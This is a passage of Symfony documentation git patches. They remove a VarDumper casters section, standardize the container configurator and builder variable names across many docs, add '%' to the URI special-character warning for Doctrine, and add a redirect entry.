-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-    use Symfony\Component\VarDumper\Dumper\AbstractDumper;
-    use Symfony\Component\VarDumper\Dumper\CliDumper;
-
-    $varCloner = new VarCloner();
-    $var = ['test'];
-
-    $dumper = new CliDumper();
-    echo $dumper->dump($varCloner->cloneVar($var), true);
-
-    // array:1 [
-    //   0 => "test"
-    // ]
-
-    $dumper = new CliDumper(null, null, AbstractDumper::DUMP_LIGHT_ARRAY);
-    echo $dumper->dump($varCloner->cloneVar($var), true);
-
-    // (no more array:1 prefix)
-    // [
-    //   0 => "test"
-    // ]
-
-If you would like to use both options, then you can combine them by
-using the logical OR operator ``|``::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-    use Symfony\Component\VarDumper\Dumper\AbstractDumper;
-    use Symfony\Component\VarDumper\Dumper\CliDumper;
-
-    $varCloner = new VarCloner();
-    $var = ['test'];
-
-    $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH | AbstractDumper::DUMP_LIGHT_ARRAY);
-    echo $dumper->dump($varCloner->cloneVar($var), true);
-
-    // [
-    //   0 => (4) "test"
-    // ]
-
-Casters
--------
-
-Objects and resources nested in a PHP variable are "cast" to arrays in the
-intermediate :class:`Symfony\\Component\\VarDumper\\Cloner\\Data`
-representation. You can customize the array representation for each object/resource
-by hooking a Caster into this process. The component already includes many
-casters for base PHP classes and other common classes.
-
-If you want to build your own Caster, you can register one before cloning
-a PHP variable. Casters are registered using either a Cloner's constructor
-or its ``addCasters()`` method::
-
-    use Symfony\Component\VarDumper\Cloner\VarCloner;
-
-    $myCasters = [...];
-    $cloner = new VarCloner($myCasters);
-
-    // or
-
-    $cloner->addCasters($myCasters);
-
-The provided ``$myCasters`` argument is an array that maps a class,
-an interface or a resource type to a callable::
-
-    $myCasters = [
-        'FooClass' => $myFooClassCallableCaster,
-        ':bar resource' => $myBarResourceCallableCaster,
-    ];
-
-As you can notice, resource types are prefixed by a ``:`` to prevent
-colliding with a class name.
-
-Because an object has one main class and potentially many parent classes
-or interfaces, many casters can be applied to one object. In this case,
-casters are called one after the other, starting from casters bound to the
-interfaces, the parents classes and then the main class. Several casters
-can also be registered for the same resource type/class/interface.
-They are called in registration order.
-
-Casters are responsible for returning the properties of the object or resource
-being cloned in an array. They are callables that accept five arguments:
-
-* the object or resource being casted;
-* an array modeled for objects after PHP's native ``(array)`` cast operator;
-* a :class:`Symfony\\Component\\VarDumper\\Cloner\\Stub` object
-  representing the main properties of the object (class, type, etc.);
-* true/false when the caster is called nested in a structure or not;
-* A bit field of :class:`Symfony\\Component\\VarDumper\\Caster\\Caster` ``::EXCLUDE_*``
-  constants.
-
-Here is a simple caster not doing anything::
-
-    use Symfony\Component\VarDumper\Cloner\Stub;
-
-    function myCaster($object, $array, Stub $stub, $isNested, $filter)
-    {
-        // ... populate/alter $array to your needs
-
-        return $array;
-    }
-
-For objects, the ``$array`` parameter comes pre-populated using PHP's native
-``(array)`` casting operator or with the return value of ``$object->__debugInfo()``
-if the magic method exists. Then, the return value of one Caster is given
-as the array argument to the next Caster in the chain.
-
-When casting with the ``(array)`` operator, PHP prefixes protected properties
-with a ``\0*\0`` and private ones with the class owning the property. For example,
-``\0Foobar\0`` will be the prefix for all private properties of objects of
-type Foobar. Casters follow this convention and add two more prefixes: ``\0~\0``
-is used for virtual properties and ``\0+\0`` for dynamic ones (runtime added
-properties not in the class declaration).
-
-.. note::
-
-    Although you can, it is advised to not alter the state of an object
-    while casting it in a Caster.
-
-.. tip::
-
-    Before writing your own casters, you should check the existing ones.
-
-Adding Semantics with Metadata
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Since casters are hooked on specific classes or interfaces, they know about the
-objects they manipulate. By altering the ``$stub`` object (the third argument of
-any caster), one can transfer this knowledge to the resulting ``Data`` object,
-thus to dumpers. To help you do this (see the source code for how it works),
-the component comes with a set of wrappers for common additional semantics. You
-can use:
-
-* :class:`Symfony\\Component\\VarDumper\\Caster\\ConstStub` to wrap a value that is
-  best represented by a PHP constant;
-* :class:`Symfony\\Component\\VarDumper\\Caster\\ClassStub` to wrap a PHP identifier
-  (*i.e.* a class name, a method name, an interface, *etc.*);
-* :class:`Symfony\\Component\\VarDumper\\Caster\\CutStub` to replace big noisy
-  objects/strings/*etc.* by ellipses;
-* :class:`Symfony\\Component\\VarDumper\\Caster\\CutArrayStub` to keep only some
-  useful keys of an array;
-* :class:`Symfony\\Component\\VarDumper\\Caster\\ImgStub` to wrap an image;
-* :class:`Symfony\\Component\\VarDumper\\Caster\\EnumStub` to wrap a set of virtual
-  values (*i.e.* values that do not exist as properties in the original PHP data
-  structure, but are worth listing alongside with real ones);
-* :class:`Symfony\\Component\\VarDumper\\Caster\\LinkStub` to wrap strings that can
-  be turned into links by dumpers;
-* :class:`Symfony\\Component\\VarDumper\\Caster\\TraceStub` and their
-* :class:`Symfony\\Component\\VarDumper\\Caster\\FrameStub` and
-* :class:`Symfony\\Component\\VarDumper\\Caster\\ArgsStub` relatives to wrap PHP
-  traces (used by :class:`Symfony\\Component\\VarDumper\\Caster\\ExceptionCaster`).
-
-For example, if you know that your ``Product`` objects have a ``brochure`` property
-that holds a file name or a URL, you can wrap them in a ``LinkStub`` to tell
-``HtmlDumper`` to make them clickable::
-
-    use Symfony\Component\VarDumper\Caster\LinkStub;
-    use Symfony\Component\VarDumper\Cloner\Stub;
-
-    function ProductCaster(Product $object, $array, Stub $stub, $isNested, $filter = 0)
-    {
-        $array['brochure'] = new LinkStub($array['brochure']);
-
-        return $array;
-    }

From ff9ce3da247646760f74b07401dd8f1f5fc51811 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 7 Jan 2023 16:48:58 +0100
Subject: [PATCH 4058/7107] Standardize the name of the container configurator
 variable 6.2

---
 configuration/env_var_processors.rst | 4 ++--
 security/user_checkers.rst           | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 658a05163df..c515c9f60c5 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -423,8 +423,8 @@ Symfony provides the following env var processors:
             // config/services.php
             use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
 
-            return static function (ContainerConfigurator $configurator): void {
-                $container = $configurator->services()
+            return static function (ContainerConfigurator $containerConfigurator): void {
+                $container = $containerConfigurator->services()
                     ->set(\RedisCluster::class, \RedisCluster::class)->args([null, '%env(shuffle:csv:REDIS_NODES)%']);
             };
 
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 3c13a57e239..4fd55a23631 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -183,8 +183,8 @@ order in which user checkers are called::
         use App\Security\AccountEnabledUserChecker;
         use App\Security\APIAccessAllowedUserChecker;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(AccountEnabledUserChecker::class)
                 ->tag('security.user_checker.api', ['priority' => 10])

From f93dc8ef25562ee6bec95d06d454178f4a9a2368 Mon Sep 17 00:00:00 2001
From: miqrogroove <1371835+miqrogroove@users.noreply.github.com>
Date: Sat, 7 Jan 2023 10:21:43 -0500
Subject: [PATCH 4059/7107] Include % as a Special Character in URIs

Docs for Doctrine customization should explain that a `%` char is special in urlencoded string input.
---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 04cbe6710ca..88b5237e6e1 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -61,7 +61,7 @@ The database connection information is stored as an environment variable called
 .. caution::
 
     If the username, password, host or database name contain any character considered
-    special in a URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``),
+    special in a URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``, ``%``),
     you must encode them. See `RFC 3986`_ for the full list of reserved characters or
     use the :phpfunction:`urlencode` function to encode them. In this case you need to
     remove the ``resolve:`` prefix in ``config/packages/doctrine.yaml`` to avoid errors:

From 745f9dbef5e5c299f7db0a21b621c0efcab16fd8 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 7 Jan 2023 17:09:39 +0100
Subject: [PATCH 4060/7107] Standardize the name of the container builder
 variable 5.4

---
 bundles/configuration.rst                     | 12 +++++-----
 bundles/extension.rst                         |  8 +++----
 bundles/prepend_extension.rst                 | 14 +++++------
 cache.rst                                     |  4 ++--
 .../dependency_injection/compilation.rst      | 24 +++++++++----------
 configuration/env_var_processors.rst          | 20 ++++++++--------
 configuration/using_parameters_in_dic.rst     |  4 ++--
 event_dispatcher.rst                          |  4 ++--
 security.rst                                  |  4 ++--
 security/access_control.rst                   |  4 ++--
 service_container/compiler_passes.rst         | 16 ++++++-------
 .../service_subscribers_locators.rst          |  6 ++---
 service_container/tags.rst                    | 22 ++++++++---------
 13 files changed, 71 insertions(+), 71 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 2f6919a7347..c49e53e9987 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -221,7 +221,7 @@ force validation (e.g. if an additional option was passed, an exception will be
 thrown)::
 
     // src/Acme/SocialBundle/DependencyInjection/AcmeSocialExtension.php
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
         $configuration = new Configuration();
 
@@ -263,15 +263,15 @@ In your extension, you can load this and dynamically set its arguments::
     use Symfony\Component\Config\FileLocator;
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
-        $loader = new XmlFileLoader($container, new FileLocator(dirname(__DIR__).'/Resources/config'));
+        $loader = new XmlFileLoader($containerBuilder, new FileLocator(dirname(__DIR__).'/Resources/config'));
         $loader->load('services.xml');
 
         $configuration = new Configuration();
         $config = $this->processConfiguration($configuration, $configs);
 
-        $definition = $container->getDefinition('acme.social.twitter_client');
+        $definition = $containerBuilder->getDefinition('acme.social.twitter_client');
         $definition->replaceArgument(0, $config['twitter']['client_id']);
         $definition->replaceArgument(1, $config['twitter']['client_secret']);
     }
@@ -292,7 +292,7 @@ In your extension, you can load this and dynamically set its arguments::
         class AcmeHelloExtension extends ConfigurableExtension
         {
             // note that this method is called loadInternal and not load
-            protected function loadInternal(array $mergedConfig, ContainerBuilder $container)
+            protected function loadInternal(array $mergedConfig, ContainerBuilder $containerBuilder)
             {
                 // ...
             }
@@ -308,7 +308,7 @@ In your extension, you can load this and dynamically set its arguments::
     (e.g. by overriding configurations and using :phpfunction:`isset` to check
     for the existence of a value). Be aware that it'll be very hard to support XML::
 
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $containerBuilder)
         {
             $config = [];
             // let resources override the previous set value
diff --git a/bundles/extension.rst b/bundles/extension.rst
index edbcb5cd270..eadd0ab864a 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -38,7 +38,7 @@ This is how the extension of an AcmeHelloBundle should look like::
 
     class AcmeHelloExtension extends Extension
     {
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $containerBuilder)
         {
             // ... you'll load the files here later
         }
@@ -93,10 +93,10 @@ For instance, assume you have a file called ``services.xml`` in the
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
 
     // ...
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
         $loader = new XmlFileLoader(
-            $container,
+            $containerBuilder,
             new FileLocator(__DIR__.'/../Resources/config')
         );
         $loader->load('services.xml');
@@ -119,7 +119,7 @@ they are compiled when generating the application cache to improve the overall
 performance. Define the list of annotated classes to compile in the
 ``addAnnotatedClassesToCompile()`` method::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
         // ...
 
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 9478f045f46..53f0fed9da9 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -35,7 +35,7 @@ To give an Extension the power to do this, it needs to implement
     {
         // ...
 
-        public function prepend(ContainerBuilder $container)
+        public function prepend(ContainerBuilder $containerBuilder)
         {
             // ...
         }
@@ -56,15 +56,15 @@ a configuration setting in multiple bundles as well as disable a flag in multipl
 in case a specific other bundle is not registered::
 
     // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php
-    public function prepend(ContainerBuilder $container)
+    public function prepend(ContainerBuilder $containerBuilder)
     {
         // get all bundles
-        $bundles = $container->getParameter('kernel.bundles');
+        $bundles = $containerBuilder->getParameter('kernel.bundles');
         // determine if AcmeGoodbyeBundle is registered
         if (!isset($bundles['AcmeGoodbyeBundle'])) {
             // disable AcmeGoodbyeBundle in bundles
             $config = ['use_acme_goodbye' => false];
-            foreach ($container->getExtensions() as $name => $extension) {
+            foreach ($containerBuilder->getExtensions() as $name => $extension) {
                 switch ($name) {
                     case 'acme_something':
                     case 'acme_other':
@@ -74,21 +74,21 @@ in case a specific other bundle is not registered::
                         // note that if the user manually configured
                         // use_acme_goodbye to true in config/services.yaml
                         // then the setting would in the end be true and not false
-                        $container->prependExtensionConfig($name, $config);
+                        $containerBuilder->prependExtensionConfig($name, $config);
                         break;
                 }
             }
         }
 
         // get the configuration of AcmeHelloExtension (it's a list of configuration)
-        $configs = $container->getExtensionConfig($this->getAlias());
+        $configs = $containerBuilder->getExtensionConfig($this->getAlias());
 
         // iterate in reverse to preserve the original order after prepending the config
         foreach (array_reverse($configs) as $config) {
             // check if entity_manager_name is set in the "acme_hello" configuration
             if (isset($config['entity_manager_name'])) {
                 // prepend the acme_something settings with the entity_manager_name
-                $container->prependExtensionConfig('acme_something', [
+                $containerBuilder->prependExtensionConfig('acme_something', [
                     'entity_manager_name' => $config['entity_manager_name'],
                 ]);
             }
diff --git a/cache.rst b/cache.rst
index 1676fc0773c..e9ff5d41de2 100644
--- a/cache.rst
+++ b/cache.rst
@@ -468,14 +468,14 @@ and use that when configuring the pool.
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+        return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
             $framework->cache()
                 ->pool('cache.my_redis')
                     ->adapters(['cache.adapter.redis'])
                     ->provider('app.my_custom_redis_provider');
 
 
-            $container->register('app.my_custom_redis_provider', \Redis::class)
+            $containerBuilder->register('app.my_custom_redis_provider', \Redis::class)
                 ->setFactory([RedisAdapter::class, 'createConnection'])
                 ->addArgument('redis://localhost')
                 ->addArgument([
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 4d8fb3e54e3..2d471177c58 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -64,10 +64,10 @@ A very simple extension may just load configuration files into the container::
 
     class AcmeDemoExtension implements ExtensionInterface
     {
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $containerBuilder)
         {
             $loader = new XmlFileLoader(
-                $container,
+                $containerBuilder,
                 new FileLocator(__DIR__.'/../Resources/config')
             );
             $loader->load('services.xml');
@@ -135,7 +135,7 @@ are loaded::
 The values from those sections of the config files are passed into the first
 argument of the ``load()`` method of the extension::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
         $foo = $configs[0]['foo']; //fooValue
         $bar = $configs[0]['bar']; //barValue
@@ -161,7 +161,7 @@ you could access the config value this way::
     use Symfony\Component\Config\Definition\Processor;
     // ...
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
         $configuration = new Configuration();
         $processor = new Processor();
@@ -222,13 +222,13 @@ The processed config value can now be added as container parameters as if
 it were listed in a ``parameters`` section of the config file but with the
 additional benefit of merging multiple files and validation of the configuration::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
         $configuration = new Configuration();
         $processor = new Processor();
         $config = $processor->processConfiguration($configuration, $configs);
 
-        $container->setParameter('acme_demo.FOO', $config['foo']);
+        $containerBuilder->setParameter('acme_demo.FOO', $config['foo']);
 
         // ...
     }
@@ -237,14 +237,14 @@ More complex configuration requirements can be catered for in the Extension
 classes. For example, you may choose to load a main service configuration
 file but also load a secondary one only if a certain parameter is set::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $containerBuilder)
     {
         $configuration = new Configuration();
         $processor = new Processor();
         $config = $processor->processConfiguration($configuration, $configs);
 
         $loader = new XmlFileLoader(
-            $container,
+            $containerBuilder,
             new FileLocator(__DIR__.'/../Resources/config')
         );
         $loader->load('services.xml');
@@ -295,11 +295,11 @@ method is called by implementing
     {
         // ...
 
-        public function prepend(ContainerBuilder $container)
+        public function prepend(ContainerBuilder $containerBuilder)
         {
             // ...
 
-            $container->prependExtensionConfig($name, $config);
+            $containerBuilder->prependExtensionConfig($name, $config);
 
             // ...
         }
@@ -326,7 +326,7 @@ compilation::
 
     class AcmeDemoExtension implements ExtensionInterface, CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $containerBuilder)
         {
             // ... do something during the compilation
         }
@@ -380,7 +380,7 @@ class implementing the ``CompilerPassInterface``::
 
     class CustomPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $containerBuilder)
         {
             // ... do something during the compilation
         }
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 4d2615fc3b6..2739433d9a9 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -107,8 +107,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
-                $container->setParameter('env(SECRET)', 'some_secret');
+            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
+                $containerBuilder->setParameter('env(SECRET)', 'some_secret');
                 $framework->secret(env('SECRET')->string());
             };
 
@@ -153,8 +153,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
-                $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
+            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
+                $containerBuilder->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
                 $framework->httpMethodOverride(env('HTTP_METHOD_OVERRIDE')->bool());
             };
 
@@ -245,8 +245,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\SecurityConfig;
 
-            return static function (ContainerBuilder $container, SecurityConfig $security) {
-                $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
+            return static function (ContainerBuilder $containerBuilder, SecurityConfig $security) {
+                $containerBuilder->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
                 $security->accessControl()
                     ->path('^/health-check$')
                     ->methods([env('HEALTH_CHECK_METHOD')->const()]);
@@ -296,8 +296,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
-                $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
+            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
+                $containerBuilder->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
                 $framework->trustedHosts(env('TRUSTED_HOSTS')->json());
             };
 
@@ -385,8 +385,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
-                $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
+            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
+                $containerBuilder->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
                 $framework->trustedHosts(env('TRUSTED_HOSTS')->csv());
             };
 
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 6bdf07ff886..1cc51dcfd9f 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -138,9 +138,9 @@ And set it in the constructor of ``Configuration`` via the ``Extension`` class::
     {
         // ...
 
-        public function getConfiguration(array $config, ContainerBuilder $container)
+        public function getConfiguration(array $config, ContainerBuilder $containerBuilder)
         {
-            return new Configuration($container->getParameter('kernel.debug'));
+            return new Configuration($containerBuilder->getParameter('kernel.debug'));
         }
     }
 
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index f10a93bc90f..9fa30f9ab74 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -343,9 +343,9 @@ compiler pass ``AddEventAliasesPass``::
 
     class Kernel extends BaseKernel
     {
-        protected function build(ContainerBuilder $container)
+        protected function build(ContainerBuilder $containerBuilder)
         {
-            $container->addCompilerPass(new AddEventAliasesPass([
+            $containerBuilder->addCompilerPass(new AddEventAliasesPass([
                 MyCustomEvent::class => 'my_custom_event',
             ]));
         }
diff --git a/security.rst b/security.rst
index 13743996749..924bbecd58e 100644
--- a/security.rst
+++ b/security.rst
@@ -1586,7 +1586,7 @@ and set the ``limiter`` option to its service ID:
         use Symfony\Config\FrameworkConfig;
         use Symfony\Config\SecurityConfig;
 
-        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security) {
+        return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework, SecurityConfig $security) {
             $framework->rateLimiter()
                 ->limiter('username_ip_login')
                     ->policy('token_bucket')
@@ -1602,7 +1602,7 @@ and set the ``limiter`` option to its service ID:
                     ->interval('15 minutes')
             ;
 
-            $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
+            $containerBuilder->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
                 ->setArguments([
                     // 1st argument is the limiter for IP
                     new Reference('limiter.ip_login'),
diff --git a/security/access_control.rst b/security/access_control.rst
index df9536fef2c..948825e64fd 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -91,8 +91,8 @@ Take the following ``access_control`` entries as an example:
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Config\SecurityConfig;
 
-        return static function (ContainerBuilder $container, SecurityConfig $security) {
-            $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
+        return static function (ContainerBuilder $containerBuilder, SecurityConfig $security) {
+            $containerBuilder->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
             // ...
 
             $security->accessControl()
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index d0e55c1f51e..462c5942824 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -26,9 +26,9 @@ Compiler passes are registered in the ``build()`` method of the application kern
 
         // ...
 
-        protected function build(ContainerBuilder $container): void
+        protected function build(ContainerBuilder $containerBuilder): void
         {
-            $container->addCompilerPass(new CustomPass());
+            $containerBuilder->addCompilerPass(new CustomPass());
         }
     }
 
@@ -54,14 +54,14 @@ and process the services inside the ``process()`` method::
 
         // ...
 
-        public function process(ContainerBuilder $container): void
+        public function process(ContainerBuilder $containerBuilder): void
         {
             // in this method you can manipulate the service container:
             // for example, changing some container service:
-            $container->getDefinition('app.some_private_service')->setPublic(true);
+            $containerBuilder->getDefinition('app.some_private_service')->setPublic(true);
 
             // or processing tagged services:
-            foreach ($container->findTaggedServiceIds('some_tag') as $id => $tags) {
+            foreach ($containerBuilder->findTaggedServiceIds('some_tag') as $id => $tags) {
                 // ...
             }
         }
@@ -83,11 +83,11 @@ method in the extension)::
 
     class MyBundle extends Bundle
     {
-        public function build(ContainerBuilder $container): void
+        public function build(ContainerBuilder $containerBuilder): void
         {
-            parent::build($container);
+            parent::build($containerBuilder);
 
-            $container->addCompilerPass(new CustomPass());
+            $containerBuilder->addCompilerPass(new CustomPass());
         }
     }
 
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 19c4ec8862c..3785975549e 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -490,7 +490,7 @@ will share identical locators among all the services referencing them::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
 
-    public function process(ContainerBuilder $container): void
+    public function process(ContainerBuilder $containerBuilder): void
     {
         // ...
 
@@ -499,9 +499,9 @@ will share identical locators among all the services referencing them::
             'logger' => new Reference('logger'),
         ];
 
-        $myService = $container->findDefinition(MyService::class);
+        $myService = $containerBuilder->findDefinition(MyService::class);
 
-        $myService->addArgument(ServiceLocatorTagPass::register($container, $locateableServices));
+        $myService->addArgument(ServiceLocatorTagPass::register($containerBuilder, $locateableServices));
     }
 
 Indexing the Collection of Services
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 2874fb103f2..9de74dc922c 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -128,9 +128,9 @@ In a Symfony application, call this method in your kernel class::
     {
         // ...
 
-        protected function build(ContainerBuilder $container): void
+        protected function build(ContainerBuilder $containerBuilder): void
         {
-            $container->registerForAutoconfiguration(CustomInterface::class)
+            $containerBuilder->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
             ;
         }
@@ -144,9 +144,9 @@ In a Symfony bundle, call this method in the ``load()`` method of the
     {
         // ...
 
-        public function load(array $configs, ContainerBuilder $container): void
+        public function load(array $configs, ContainerBuilder $containerBuilder): void
         {
-            $container->registerForAutoconfiguration(CustomInterface::class)
+            $containerBuilder->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
             ;
         }
@@ -307,17 +307,17 @@ container for any services with the ``app.mail_transport`` tag::
 
     class MailTransportPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container): void
+        public function process(ContainerBuilder $containerBuilder): void
         {
             // always first check if the primary service is defined
-            if (!$container->has(TransportChain::class)) {
+            if (!$containerBuilder->has(TransportChain::class)) {
                 return;
             }
 
-            $definition = $container->findDefinition(TransportChain::class);
+            $definition = $containerBuilder->findDefinition(TransportChain::class);
 
             // find all service IDs with the app.mail_transport tag
-            $taggedServices = $container->findTaggedServiceIds('app.mail_transport');
+            $taggedServices = $containerBuilder->findTaggedServiceIds('app.mail_transport');
 
             foreach ($taggedServices as $id => $tags) {
                 // add the transport service to the TransportChain service
@@ -344,9 +344,9 @@ or from your kernel::
     {
         // ...
 
-        protected function build(ContainerBuilder $container): void
+        protected function build(ContainerBuilder $containerBuilder): void
         {
-            $container->addCompilerPass(new MailTransportPass());
+            $containerBuilder->addCompilerPass(new MailTransportPass());
         }
     }
 
@@ -482,7 +482,7 @@ use this, update the compiler::
 
     class TransportCompilerPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container): void
+        public function process(ContainerBuilder $containerBuilder): void
         {
             // ...
 

From 68065431184f16a530a45bbf13db4586a4bd4a2d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 7 Jan 2023 17:23:18 +0100
Subject: [PATCH 4061/7107] Add redirection for removed article

---
 _build/redirection_map | 1 +
 1 file changed, 1 insertion(+)

diff --git a/_build/redirection_map b/_build/redirection_map
index 9175f68d5e3..315b95fda93 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -536,3 +536,4 @@
 /components/security/firewall /security#the-firewall
 /components/security/secure_tools /security/passwords
 /components/security /security
+/components/var_dumper/advanced /components/var_dumper

From bfa6910707210c52ee448716f1e2b71cdda11d33 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 7 Jan 2023 19:20:51 +0100
Subject: [PATCH 4062/7107] Standardize the name of the container builder
 variable 6.1

---
 bundles/configuration.rst            | 2 +-
 bundles/extension.rst                | 2 +-
 bundles/prepend_extension.rst        | 4 ++--
 configuration/micro_kernel_trait.rst | 8 ++++----
 4 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 35379d6d0d9..738c2affefb 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -352,7 +352,7 @@ add this logic to the bundle class directly::
             ;
         }
 
-        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $builder): void
+        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
         {
             // Contrary to the Extension class, the "$config" variable is already merged
             // and processed. You can use it directly to configure the service container.
diff --git a/bundles/extension.rst b/bundles/extension.rst
index 474de1dd3b2..9e5da5632be 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -131,7 +131,7 @@ method::
 
     class AcmeHelloBundle extends AbstractBundle
     {
